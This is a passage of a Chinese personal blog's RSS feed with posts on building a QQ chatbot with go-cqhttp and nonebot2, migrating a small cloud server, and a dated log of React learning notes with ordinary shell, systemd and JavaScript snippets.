<li><a href="https://www.sulvblog.cn/posts/blog/hugo_tag_cloud/"  target="_blank" rel="noopener" >Hugo博客添加标签云 | Sulv&rsquo;s Blog</a></li>
<li><a href="https://www.fusejs.io/api/options.html#keys"  target="_blank" rel="noopener" >Options | Fuse.js</a></li>
<li><a href="https://loyayz.com/website/220609-hugo-papermodx-tags-in-search-page/"  target="_blank" rel="noopener" >PaperMod 搜索页展示标签列表 | loyayz</a></li>
<li><a href="https://eallion.com/neodb/#back-to-top"  target="_blank" rel="noopener" >NeoDB API 创建观影页面 - 大大的小蜗牛</a></li>
<li><a href="https://gohugo.io/hosting-and-deployment/hosting-on-github/"  target="_blank" rel="noopener" >Host on GitHub Pages | Hugo</a></li>
<li><a href="https://tourcoder.com/lastmod-in-hugo/"  target="_blank" rel="noopener" >Hugo 中最后更新的时间显示@代码旅行 :: Do Faith No Fear | 信仰永恒，无所畏惧 :)</a></li>
<li><a href="https://gohugo.io/templates/lists/#order-content"  target="_blank" rel="noopener" >Lists of content in Hugo | Hugo</a></li>
<li><a href="https://dnwzlx.com/posts/146871a6/"  target="_blank" rel="noopener" >使用Hugo搭建个人网站(七)-Hugo和Github Action正确修改文章的最后更新日期 - 寂静·流年</a></li>
<li><a href="https://gohugo.io/content-management/urls/"  target="_blank" rel="noopener" >URL management | Hugo</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>qqBot 搭建</title>
      <link>https://ds63.eu.org/2023/setup_qqbot/</link>
      <pubDate>Wed, 11 Oct 2023 01:23:34 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/setup_qqbot/</guid>
      <description>短时间内也不想再进一步折腾了</description>
      <content:encoded><![CDATA[<p><strong>这两天在搭qqBot，记录一下</strong></p>
<h2 id="整体技术">整体技术</h2>
<p>我使用的是<a href="https://github.com/Mrs4s/go-cqhttp"  target="_blank" rel="noopener" >go-cqhttp</a>和<a href="https://github.com/nonebot/nonebot2"  target="_blank" rel="noopener" >nonebot2</a>。</p>
<p>在遇到风控问题时，我使用了<a href="https://github.com/fuqiuluo/unidbg-fetch-qsign"  target="_blank" rel="noopener" >unidbg-fetch-qsign</a>。</p>
<h2 id="过程">过程</h2>
<ul>
<li>
<p>整个过程比我着手搭建前所想的要困难许多，踩了许多坑。不过很棒的一点是，这三个项目的issue都十分活跃。我踩的坑，在issue中几乎都能搜到。我使用过的开源项目不多，但这三个给了我很好的印象，希望自己以后能做些自己的贡献。</p>
</li>
<li>
<p>之前没想到最难的一点不是机器人程序的编写，而在于登录。我使用的号是新号（创建一个礼拜左右），风控等级比较高。</p>
</li>
</ul>
<p>而我的需求是：将bot部署在地点在非我所在地的一个服务器上，这更是增加了被风控的概率。</p>
<p>尝试许多种方法后，我最终的解决方法是：</p>
<ol>
<li>在本地先使用手表协议扫码登录。( <code>&quot;sort_version_name&quot;:8.9.73</code>,<code>protocol：2</code>)</li>
<li>成功登录后将得到的文件移至服务器上并配置<code>signsever</code>,再次进行登录</li>
</ol>
<ul>
<li>
<p>但最后bot还是被风控，无法发送群消息。</p>
<p>我短时间内也不想再进一步折腾了。</p>
</li>
<li>
<p>今天把自己写的插件<a href="https://github.com/EuDs63/nonebot-plugin-yesman"  target="_blank" rel="noopener" >EuDs63/nonebot-plugin-yesman: nonebot2 插件</a>发布到<a href="https://nonebot.dev/store/plugins"  target="_blank" rel="noopener" >插件商店 | NoneBot</a>了。过了一遍插件发布的流程，还蛮有意思的。有几点值得说下:</p>
<ol>
<li><a href="https://pypi.org/account/register/"  target="_blank" rel="noopener" >Create an account · PyPI</a>的username要求是我见过的最苛刻的。但也能理解。
<blockquote>
<p>Choose a strong password that contains letters (uppercase and lowercase), numbers and special characters. Avoid common words or repetition.</p>
</blockquote>
</li>
<li><a href="https://github.com/apps/noneflow"  target="_blank" rel="noopener" >About NoneFlow</a> 好强大。有机会想自己试试写一个类似的，或者了解是怎么做到的。</li>
</ol>
</li>
<li>
<p>今天<a href="https://github.com/Mrs4s/go-cqhttp"  target="_blank" rel="noopener" >go-cqhttp</a>在<a href="https://github.com/Mrs4s/go-cqhttp/issues/2471"  target="_blank" rel="noopener" >QQ Bot的未来以及迁移建议</a>宣布不再维护了。感受到一种无力感。</p>
</li>
</ul>
<h2 id="感想">感想</h2>
<ol>
<li>想起搭telegram bot时，只需要申请一个token，甚至教程官方都有在写。而这里却是道高一尺魔高一丈般的猫鼠游戏。不免五味杂陈。</li>
<li>nonebot这种插件系统我觉得很棒。省了不少力气。</li>
<li>感觉qqBot可玩性还是蛮高的，在其他群里也常常能见到些有趣的bot。但可惜的是腾讯的态度。</li>
</ol>
<h2 id="收获">收获</h2>
<ol>
<li><code>nohup</code></li>
</ol>
<ul>
<li>使用: 例: <code>nphup nb run</code></li>
<li>关闭: 例:
<pre tabindex="0"><code>ps aux | grep `nb` #找到对应的进程号
kill $进程号
</code></pre></li>
</ul>
<ol start="2">
<li><code>守护进程（Systemd）</code>
<em>注：以下复制自<a href="https://blog.cysi.me/2022/04/make-a-qqbot.html#%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8Bsystemd"  target="_blank" rel="noopener" >使用 NoneBot2 和 go-cqhttp 打造自己的 FF14 QQ 机器人</a></em>
<ul>
<li>创建</li>
</ul>
<pre tabindex="0"><code># vim /lib/systemd/system/go-cqhttp.service

    [Unit]
    Description=GO-CQHTTP
    Wants=network-online.target
    After=network-online.target
    [Service]
    Type=simple
    User=root
    WorkingDirectory= GO-CQHTTP的运行目录
    ExecStart= nohup go-cqhttp
    KillMode=process

    [Install]
    WantedBy=multi-user.target
</code></pre><ul>
<li>使用</li>
</ul>
<pre tabindex="0"><code>systemctl status go-cqhttp #查看状态
systemctl enable go-cqhttp #启用开机自启
systemctl restart go-cqhttp #重启进程
systemctl stop go-cqhttp #停止进程
systemctl start go-cqhttp #开始进程
</code></pre></li>
<li>python虚拟环境
<ul>
<li>新建</li>
</ul>
<pre tabindex="0"><code>python -m venv myenv # 创建一个名为myenv的虚拟环境
</code></pre><ul>
<li>激活</li>
</ul>
<pre tabindex="0"><code>source ./qqVenv/bin/activate # bash

source ./qqVenv/bin/activate.fish # fish
</code></pre></li>
</ol>
<h2 id="尾巴">尾巴</h2>
<ol>
<li><a href="https://github.com/Mrs4s/go-cqhttp"  target="_blank" rel="noopener" >go-cqhttp</a>在<a href="https://github.com/Mrs4s/go-cqhttp/issues/2471"  target="_blank" rel="noopener" >QQ Bot的未来以及迁移建议</a>中宣布不再维护</li>
<li>不久后，<a href="https://github.com/Mrs4s/go-cqhttp/issues/2471"  target="_blank" rel="noopener" >QQ Bot的未来以及迁移建议</a>上所提到的可能的替代方案也相继无法使用</li>
</ol>
<p>我感谢这些作者！</p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://github.com/nonebot/nonebot2"  target="_blank" rel="noopener" >nonebot/nonebot2: 跨平台 Python 异步聊天机器人框架 / Asynchronous multi-platform chatbot framework written in Python</a></li>
<li><a href="https://github.com/fuqiuluo/unidbg-fetch-qsign"  target="_blank" rel="noopener" >fuqiuluo/unidbg-fetch-qsign: 获取QQSign通过Unidbg</a></li>
<li><a href="https://blog.cysi.me/2022/04/make-a-qqbot.html#%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6"  target="_blank" rel="noopener" >使用 NoneBot2 和 go-cqhttp 打造自己的 FF14 QQ 机器人</a></li>
<li><a href="https://github.com/Mrs4s/go-cqhttp"  target="_blank" rel="noopener" >Mrs4s/go-cqhttp: cqhttp的golang实现，轻量、原生跨平台.</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>服务器迁移记</title>
      <link>https://ds63.eu.org/2023/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%81%E7%A7%BB%E8%AE%B0/</link>
      <pubDate>Sat, 07 Oct 2023 19:32:21 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%81%E7%A7%BB%E8%AE%B0/</guid>
      <description>虽然早就知道是这样。但是这次还是第一次这么切身地体验到。很感慨。</description>
      <content:encoded><![CDATA[<h2 id="起因">起因</h2>
<p>我之前使用的是阿里云的ecs。因为要到期了，而续费又过于昂贵。（2核2g一年要六百多。）</p>
<p>对比了下几家云服务器提供商，发现华为云价格最为理想（2核2g3M带宽一年89）。</p>
<h2 id="迁移过程">迁移过程</h2>
<p>我其实并没有用服务器来做多少事情。主要就两个：telegram bot和ttrss。它们都是使用docker进行部署的，所以能省不少事。</p>
<ol>
<li>docker安装
没想到第一步安装docker就花了一晚上。3m的带宽，下载时只有可怜的十几kb。等到最后还下不了。</li>
</ol>
<p>最后我是自己手动下载软件包，再安装的。</p>
<pre tabindex="0"><code># “package.deb”为下载的软件包
sudo dpkg -i /path/to/package.deb
</code></pre><p>我其实应该一开始就去配置镜像源的&hellip;</p>
<ol start="2">
<li>
<p>设置网络
<a href="https://ds63.eu.org/2023/03/11/network/"  target="_blank" rel="noopener" >network - EuDs&rsquo;s blog</a></p>
</li>
<li>
<p>Faye_Bot
<a href="https://github.com/EuDs63/Faye_Bot"  target="_blank" rel="noopener" >EuDs63/Faye_Bot: my telegram Bot</a></p>
</li>
<li>
<p>ttrss</p>
</li>
</ol>
<ul>
<li><a href="https://ds63.eu.org/2023/03/08/RssTossing/"  target="_blank" rel="noopener" >RSS折腾记 - EuDs&rsquo;s blog</a></li>
<li><a href="https://ttrss.henry.wang/zh/#%E5%85%B3%E4%BA%8E"  target="_blank" rel="noopener" >🐋 Awesome TTRSS </a></li>
</ul>
<h2 id="尾巴">尾巴</h2>
<p>本来没打算再买一个服务器的。因为vscode+WSL2其实已经满足我绝大部分的linux使用需求了。但想着说不定呢？以后哪天就有需求了。而那时候再重新搭环境，没了现有的作参考，怕是要发更多的时间，于是还是买了。</p>
<p>还是要想办法用起来。</p>
<h2 id="尾巴的尾巴">尾巴的尾巴</h2>
<p>没想到这么快就又有了一个服务器。今天（隔天）逛博客看到Azure学生包注册教程。想着之前也有试着搞过，但不知道为什么没成功。今天抱着试一试的想法，就又点进去。没想到直接就成了。</p>
<p>于是参考<a href="https://zbttl-github-io.vercel.app/github-xue-sheng-bao-he-azure-yang-mao/"  target="_blank" rel="noopener" >github 学生包和 azure 羊毛</a>，申请了台linux虚拟机。还是用的ubuntu的镜像。</p>
<p>结果十分地流畅。安装docker不到三分钟，也不需要额外配置什么代理。昨天没成功的<a href="https://github.com/yihong0618/tg_bing_dalle"  target="_blank" rel="noopener" >yihong0618/tg_bing_dalle: tg bing dalle-3</a>也成了。</p>
<p>虽然早就知道是这样。但是这次还是第一次这么切身地体验到。很感慨。</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://zbttl-github-io.vercel.app/github-xue-sheng-bao-he-azure-yang-mao/"  target="_blank" rel="noopener" >github 学生包和 azure 羊毛</a></li>
<li><a href="https://github.com/yihong0618/tg_bing_dalle"  target="_blank" rel="noopener" >yihong0618/tg_bing_dalle: tg bing dalle-3</a></li>
<li><a href="https://ttrss.henry.wang/zh/#%E5%85%B3%E4%BA%8E"  target="_blank" rel="noopener" >🐋 Awesome TTRSS </a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React学习经历</title>
      <link>https://ds63.eu.org/2023/learn_react/</link>
      <pubDate>Tue, 12 Sep 2023 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/learn_react/</guid>
      <description>记录学习React的经历，按日期进行排序，会比较乱</description>
      <content:encoded><![CDATA[<h2 id="2023年9月12日">2023年9月12日</h2>
<p>这两个多星期来几乎都是在写React，现在对它算是又爱又恨。</p>
<h3 id="爱">爱</h3>
<p>逻辑很舒服，虽然我新接触，但几乎就是很自然而然地就能开始写了。</p>
<h3 id="恨">恨</h3>
<p>说恨可能有点过了，但确实遇到了好些坑，耗了好些时间。</p>
<ol>
<li>
<p><code>useEffect</code></p>
<p>看了<a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a>后转而使用封装好的useSWR,现在体验感很好。</p>
</li>
<li>
<p><code>useParams()</code>获取不到参数</p>
<p>这个是我没仔细看文档，想当然了.文档中说得很明白:</p>
<blockquote>
<p>Returns an object of key/value pairs of the dynamic params from the current URL that were matched by the route path.</p>
</blockquote>
<p>而我一开始是在Route之外去<code>useParams()</code>，最后的解决方式是，在原本的组件外套一层wrapper，这样来实现左右栏的效果</p>
</li>
<li>
<p><code>Rendered more hooks than during the previous render.</code></p>
<p>这也是个花了我许久的报错。最头疼的是不知道是代码哪里的问题。在<a href="https://stackoverflow.com/questions/55622768/uncaught-invariant-violation-rendered-more-hooks-than-during-the-previous-rende"  target="_blank" rel="noopener" >stackoverflow上的一个回答</a>的解释下，才明白可能问题出在return和useEffect执行顺序的问题。</p>
</li>
<li>
<p>Redux，虽然用起来了，但现在还是懵懵的，还是得再看文档</p>
</li>
</ol>
<h3 id="总结">总结</h3>
<p>因为要赶最后的ddl，所以比较偏向于急于求成，看了看用法和示例就开始写了，虽然最后确实能写出点东西，但总有种半生不熟的感觉。</p>
<p>这样做还有一个很大的弊端：我跟着示例文档和ai的提示，照猫画虎写出一个能用的东西，后面为了效率，我就会直接去复用这个东西，或者在其基础上稍微修改。</p>
<p>代码的可复用性当然是件好事。但问题是我最开始糊出来的那个其实不一定就是好的。但如果我能在了解、学习了一定基础上再去写，成品会好很多。</p>
<p>我感觉一个比较理想的状态是：先学百分五六十，然后再去用。用的过程同时也加深理解。</p>
<hr>
<h2 id="2023年9月14日">2023年9月14日</h2>
<p>看了<a href="https://react.dev/learn/thinking-in-react"  target="_blank" rel="noopener" >Thinking in React</a>,记录一下</p>
<ul>
<li>
<p>Which of these are state? Identify the ones that are not:</p>
<ol>
<li>Does it remain unchanged over time? If so, it isn’t state.</li>
<li>Is it passed in from a parent via props? If so, it isn’t state.</li>
<li>Can you compute it based on existing state or props in your component? If so, it definitely isn’t state!</li>
</ol>
<p><em>What’s left is probably state.</em></p>
</li>
<li>
<p>For each piece of state in your application:</p>
<ol>
<li>Identify every component that renders something based on that state.</li>
<li>Find their closest common parent component -&gt; a component above them all in the hierarchy.</li>
<li>Often, you can put the state directly into their common parent.</li>
<li>You can also put the state into some component above their common parent.</li>
<li>If you can’t find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common parent component.</li>
</ol>
</li>
</ul>
<hr>
<h2 id="2024年2月28日">2024年2月28日</h2>
<p>最近的一个小玩具<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>有轻量级的状态管理需求，权衡下决定使用<a href="https://jotai.org/"  target="_blank" rel="noopener" >Jotai, primitive and flexible state management for React</a>,开始的体验很不错。</p>
<p>我先做好了<code>./work/page</code>这个组件。接下来我希望实现类似于Postman的多标签页。每个标签页都是用同样的组件，但它们互相独立。</p>
<p>本来这并不是件难事，但因为我之前偷懒，高度依赖jotai的atom来做状态管理,因此花了好些时间。</p>
<p>先尝试了<a href="https://github.com/jotaijs/jotai-scope"  target="_blank" rel="noopener" >jotaijs/jotai-scope</a>,它给的示例确实符合我的需求，但当标签切走再切回去的时候，原来的状态就被重置了，我找不到问题所在，放弃。</p>
<p>中途多次问ChatGPT和Gemini，都是一开始看着很可行，然后实际不行，再问就开始重复之前的回答了。</p>
<p>最后是靠<a href="https://devv.ai/zh"  target="_blank" rel="noopener" >Devv</a>解决的，它说<a href="https://jotai.org/docs/utilities/family"  target="_blank" rel="noopener" >Jotai的atomFamily</a>能解决。<code>atomFamily</code>允许创建一组相关的原子，并为每个实例提供一个唯一的标识符。一试,确实可行。</p>
<p>现在再看我的实现，感觉还是比较简陋的。每个标签页对应一个特定的<code>tagId</code>，然后<code>atomFamily</code>就是&quot;a Map whose key is a param and whose value is an atom config&quot;。</p>
<hr>
<h2 id="2024年3月4日">2024年3月4日</h2>
<ul>
<li>
<p><a href="https://react.dev/reference/react/useCallback"  target="_blank" rel="noopener" >useCallback – React</a></p>
<ol>
<li><code>useCallback</code> is a Hook, so you can only call it at the top level of your component or your own Hooks.</li>
<li><code>useCallback</code> caches a <strong>function</strong> between re-renders until its dependencies change</li>
<li>usage:Skipping re-rendering of components</li>
<li><code>useMemo</code> caches the <strong>result</strong> of calling your function</li>
<li>The only benefit to <code>useCallback</code> is that it lets you avoid writing an extra nested function inside. It doesn’t do anything else.</li>
</ol>
</li>
<li>
<p><a href="https://prin.pw/react-unstable-nested-components/"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></p>
<ul>
<li>永远不要在 React 组件内部嵌套定义子组件。</li>
<li>「渲染函数」和「函数组件」的区别:
<ol>
<li>渲染函数虽然和组件一样都返回 JSX，但它不是组件；</li>
<li>渲染函数就是普通 JavaScript 函数，没有状态，也没有对应的 Fiber 节点；</li>
<li>渲染函数只是当前组件的一部分，对于 React 渲染来说没有额外开销；</li>
<li>渲染函数内部<strong>不能</strong>使用 Hooks，只有组件内部才能使用 Hooks；</li>
<li>渲染函数命名一般以 render 开头，首字母小写（否则容易和组件搞混）</li>
<li>调用方式</li>
</ol>
</li>
<li><a href="https://github.com/shuding/tilg"  target="_blank" rel="noopener" >shuding/tilg: A magical React Hook that helps you debug components.</a>可以用来展示组件生命周期。</li>
</ul>
</li>
<li>
<p>报错：<code>useEffect</code> is called conditionally</p>
<p>完整报错如下:</p>
<blockquote>
<p>React Hook &ldquo;useEffect&rdquo; is called conditionally. React Hooks must be called in the exact same order in every component render.  react-hooks/rules-of-hooks</p>
</blockquote>
<p>解决方法很简单，只需将useEffect调用移动到组件的顶层，并使用条件语句来决定是否执行其内部的逻辑即可。</p>
</li>
<li>
<p><a href="https://react.dev/learn/render-and-commit"  target="_blank" rel="noopener" >Render and Commit – React</a></p>
<ul>
<li>在 React 中，每次更新都分为 两个阶段：
<ol>
<li>在 渲染 阶段， React 调用你的组件来确定屏幕上应该显示什么。</li>
<li>在 提交 阶段， React 把变更应用于 DOM。</li>
</ol>
</li>
<li>Process of requesting and serving UI has three steps:
<ol>
<li>Triggering a render</li>
<li>Rendering</li>
<li>Committing to the DOM</li>
</ol>
</li>
<li>Two reasons for a component to render:
<ol>
<li>It’s the component’s initial render.</li>
<li>The component’s (or one of its ancestors’) state has been updated.</li>
</ol>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月5日">2024年3月5日</h2>
<ul>
<li><a href="https://www.developerway.com/posts/components-composition-how-to-get-it-right"  target="_blank" rel="noopener" >Developer Way: React components composition: how to get it right</a>
<ul>
<li>The core React development and decomposition rules:
<ol>
<li>always start implementation from the top</li>
<li>extract components only when there is an actual need for it</li>
<li>always start from “simple” components, introduce other composition techniques only when there is an actual need for them</li>
</ol>
</li>
<li>A component should be described either as a “component that implements various stuff” or as a “component that composes various components together”, not both.</li>
<li>Extract Container components when there is a need to share some visual or behavioural logic that wraps elements that still need to be under “consumer” control</li>
<li>What makes a good component?
<ol>
<li>易读</li>
<li>命名清晰准确</li>
<li>doesn’t do things that are irrelevant to its declared purpose</li>
</ol>
</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月6日">2024年3月6日</h2>
<ul>
<li>
<p><a href="https://legacy.reactjs.org/docs/composition-vs-inheritance.html#containment"  target="_blank" rel="noopener" >Composition vs Inheritance – React</a></p>
<ul>
<li>&ldquo;children&rdquo; is just a prop. The fancy “composition” pattern that we use is a syntax sugar.</li>
<li>Inheritance is not recommended. If you want to reuse non-UI functionality between components, we suggest <strong>extracting it into a separate JavaScript module</strong>. The components may import it and use that function, object, or class, without extending it.</li>
</ul>
</li>
<li>
<p><a href="https://www.developerway.com/posts/react-elements-children-parents"  target="_blank" rel="noopener" >Developer Way: The mystery of React Element, children, parents and re-renders</a></p>
<ul>
<li>Components that are passed as props don’t re-render.</li>
<li>If children are passed as a render function, they start re-rendering.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月7日">2024年3月7日</h2>
<ul>
<li>读<a href="https://zh-hans.react.dev/reference/react/Fragment"  target="_blank" rel="noopener" ><!-- raw HTML omitted --> (&lt;&gt;&hellip;&lt;/&gt;) – React 中文文档</a>，原来<code>&lt;&gt;</code>是<code>&lt;Fragment</code>的简写。</li>
</ul>
<hr>
<h2 id="2024年3月8日">2024年3月8日</h2>
<ul>
<li>
<p>受控组件 v.s 非受控组件</p>
<ul>
<li>参考<a href="https://muyunyun.cn/blog/56hn38ez"  target="_blank" rel="noopener" >重新认识受控与非受控组件</a></li>
<li>In a controlled component, form data is handled by a React component.</li>
<li>In a uncontrolled component, form data is handled by the DOM itself.</li>
<li>受控以及非受控组件的边界划分取决于当前组件对于子组件值的变更是否拥有控制权。</li>
</ul>
</li>
<li>
<p><a href="https://zh-hans.react.dev/reference/react-dom/components/input#my-input-caret-jumps-to-the-beginning-on-every-keystroke"  target="_blank" rel="noopener" >当我输入时，输入框光标会跳到开头– React 中文文档</a></p>
<blockquote>
<p>有可能是因为每次输入时输入框都从 DOM 中删除并重新添加。同样，如果在每次重新渲染时不小心 重置了 state，就会发生这种情况。例如，如果输入框或其祖先组件总是接收不同的 key，或者嵌套使用组件（这在 React 中是不允许的，并且会导致“内部”组件在每次渲染时重新挂载），就会发生这种情况。</p>
</blockquote>
<p>我在写<a href="https://github.com/EuDs63/postkid"  target="_blank" rel="noopener" >EuDs63/postkid</a>就遇到了这个问题，原来如此。</p>
</li>
</ul>
<hr>
<h2 id="2024年3月9日">2024年3月9日</h2>
<ul>
<li>
<p>redux</p>
</li>
<li>
<p>useContext的使用</p>
</li>
<li>
<p>自定义hook</p>
</li>
</ul>
<hr>
<h3 id="ref">ref</h3>
<ul>
<li>ref 是一个普通的 JavaScript 对象，具有可以被读取和修改的 current 属性。</li>
<li><a href="https://zh-hans.react.dev/learn/referencing-values-with-refs#differences-between-refs-and-state"  target="_blank" rel="noopener" >ref 和 state 的不同之处</a>
<ol>
<li>更改不会触发渲染</li>
<li>无set</li>
<li>可变 —— 你可以在渲染过程之外修改和更新 current 的值。</li>
<li>不应在渲染期间读取（或写入） current 值。</li>
</ol>
</li>
<li>使用时机
<ol>
<li>当一条信息仅被事件处理器需要，并且更改它不需要重新渲染时，使用 ref 可能会更高效。</li>
<li>你的组件需要“跳出” React 并与外部 API 通信时</li>
<li>存储和操作 DOM 元素</li>
<li>存储不需要被用来计算 JSX 的其他对象</li>
</ol>
</li>
<li><code>ref</code>回调函数
<ol>
<li>参考<a href="https://zh-hans.react.dev/reference/react-dom/components/common#ref-callback"  target="_blank" rel="noopener" >ref 回调函数 – React 中文文档</a></li>
<li>不要从 ref 回调函数中返回任何内容。</li>
<li>当回调函数被附加在 ref 属性后，触发回调时，该参数为对应的 DOM 节点。当 ref 被分离时值为 null。除非在每次渲染时都传递相同的函数引用作为 ref 回调，否则该回调将在组件的每次重新渲染期间被暂时分离和重新连接。</li>
</ol>
</li>
<li>默认情况下，React 不允许组件访问其他组件的 DOM 节点:可使用<code>forwardRef</code>,例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MyInput</span> <span class="o">=</span> <span class="nx">forwardRef</span><span class="p">((</span><span class="nx">props</span><span class="p">,</span> <span class="nx">ref</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">input</span> <span class="p">{...</span><span class="nx">props</span><span class="p">}</span> <span class="nx">ref</span><span class="o">=</span><span class="p">{</span><span class="nx">ref</span><span class="p">}</span> <span class="o">/&gt;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li><a href="https://zh-hans.react.dev/learn/manipulating-the-dom-with-refs#exposing-a-subset-of-the-api-with-an-imperative-handle"  target="_blank" rel="noopener" >使用命令句柄暴露一部分 API</a></li>
<li>React 在提交阶段设置 <code>ref.current</code>。在更新 DOM 之前，React 将受影响的<code> ref.current</code>值设置为 null。更新 DOM 后，React 立即将它们设置到相应的 DOM 节点。</li>
</ul>
<hr>
<h2 id="2024年3月10日">2024年3月10日</h2>
<h3 id="fiber">Fiber</h3>
<ul>
<li>参考<a href="https://zhuanlan.zhihu.com/p/390409316"  target="_blank" rel="noopener" >React Fiber很难？六个问题助你理解 React Fiber - 知乎</a>
<ul>
<li>一套更新机制,让 React 的更新过程变得可控</li>
<li>栈递归 -&gt; 链表遍历</li>
</ul>
</li>
<li><a href="https://blog.logrocket.com/deep-dive-react-fiber/"  target="_blank" rel="noopener" >A deep dive into React Fiber - LogRocket Blog</a></li>
</ul>
<hr>
<h2 id="2024年3月14日">2024年3月14日</h2>
<ul>
<li>什么hooks不能写在if/else等语句里</li>
<li>你是怎么理解React的？（答得非常烂，建议从数据驱动 ui = f(state)、响应式 fiber + 异步可中断更新、组件化 component，hooks、跨平台 scheduler；reconciler；render；vdom，合成事件系统等方面答）</li>
<li>React18新特性（concurrent）</li>
<li>react有没有什么缺点（能没有缺点吗，死怼运行时，hooks凭啥不能写在if/else里，useXXX到底怎么个use法，过期闭包，依赖全得手动写，如果用eslint那么里面用过的都会要你加到依赖数组里）</li>
<li>react hooks为啥不能写在if/else里（底层实现就是个链表，一个有序的东西）</li>
<li>react hooks能实现类里面的所有生命周期吗</li>
<li>路由怎么做的 什么守卫</li>
</ul>
<hr>
<h2 id="2024年3月21日">2024年3月21日</h2>
<ul>
<li>组件间通信</li>
<li>自定义hook</li>
<li>react hook</li>
<li>react 组件传值</li>
<li>react父组件怎么获取子组件的值   useRef</li>
<li>react provider标签以及其使用原理</li>
<li>react 路由的两种模式</li>
<li>redux
<ul>
<li><a href="https://redux.js.org/tutorials/essentials/part-1-overview-concepts"  target="_blank" rel="noopener" >Redux Essentials, Part 1: Redux Overview and Concepts | Redux</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="2024年3月26日">2024年3月26日</h2>
<h3 id="自定义hook">自定义hook</h3>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI4NjE3MzQzNg==&amp;mid=2649865889&amp;idx=1&amp;sn=2549fb3da7608aa8e3cce0623fbd8d25"  target="_blank" rel="noopener" >超性感的React Hooks（五）：自定义hooks</a></li>
</ul>
<blockquote>
<p>自定义hook能够跟随函数组件重复执行，并且每次都返回最新结果。因此，我们可以非常放心大胆的封装异步逻辑。</p>
</blockquote>
<ul>
<li>看<a href="https://mp.weixin.qq.com/s/GPcwIPJBc9I_NtixyU-U4Q"  target="_blank" rel="noopener" >超性感的React Hooks（六）自定义hooks的思维方式</a>，摘录其中一段</li>
</ul>
<blockquote>
<p>准确来说，应该是逻辑片段复用。</p>
<p>和组件化思维不同，这是另外一个粒度更细的代码复用思维。例如我们之前提到的，获取同样的数据。在组件化思维中，一个完整的组件，包括了这份数据，以及这份数据在页面上的展示结果。因此这是不同的复用思维。</p>
<p>处理获取数据过程中的公用逻辑，处理公用的登陆逻辑等。自定义hooks封装的大多数情况下不是一个完整的页面逻辑实现，而是其中的一个片段。</p>
</blockquote>
<hr>
<h2 id="2024年4月9日">2024年4月9日</h2>
<p>看<a href="https://dev.to/chandrapantachhetri/responsive-react-file-upload-component-with-drag-and-drop-4ef8"  target="_blank" rel="noopener" >Responsive React File Upload Component With Drag And Drop - DEV Community</a></p>
<p>尤其是“Why are we setting the title and value attribute to &ldquo;&quot;?”这段，之前我看别人的代码这样写还以为是错的，原来是有其独特作用的。</p>
<hr>
<h2 id="2024年4月28日">2024年4月28日</h2>
<ul>
<li><a href="https://juejin.cn/post/7132786097922736164"  target="_blank" rel="noopener" >useEffect(fn, []) 不等于 componentDidMount() - 掘金</a></li>
<li><a href="https://juejin.cn/post/7277917854430674959"  target="_blank" rel="noopener" >React 组件库都是怎么打包？ - 掘金</a></li>
<li><a href="https://react.dev/reference/react/useImperativeHandle"  target="_blank" rel="noopener" >useImperativeHandle – React</a></li>
</ul>
<p>这几篇打开来很久了，一直没看，记录下。</p>
<hr>
<h2 id="2024年5月20日">2024年5月20日</h2>
<ul>
<li>参考
<ul>
<li><a href="https://react.dev/reference/react/forwardRef"  target="_blank" rel="noopener" >forwardRef – React</a></li>
<li><a href="https://react.dev/reference/react/useImperativeHandle"  target="_blank" rel="noopener" >useImperativeHandle – React</a></li>
<li><a href="https://www.telerik.com/blogs/react-basics-how-to-use-forwardref"  target="_blank" rel="noopener" >React Basics: How to Use ForwardRef</a></li>
</ul>
</li>
<li>forwardRef lets your component expose a DOM node to parent component with a ref.</li>
<li>useImperativeHandle is a React Hook that lets you customize the handle exposed as a ref.
<code>useImperativeHandle(ref, createHandle, dependencies?)</code></li>
</ul>
<hr>
<h2 id="2024年9月21日">2024年9月21日</h2>
<ul>
<li><a href="https://blog.huli.tw/2024/03/13/from-react-to-vue/#%E5%9C%A8%E9%96%8B%E5%A7%8B%E4%B9%8B%E5%89%8D"  target="_blank" rel="noopener" >從 React 到 Vue 的心得感想 - Huli&rsquo;s blog</a></li>
</ul>
<hr>
<h2 id="2024年10月11日">2024年10月11日</h2>
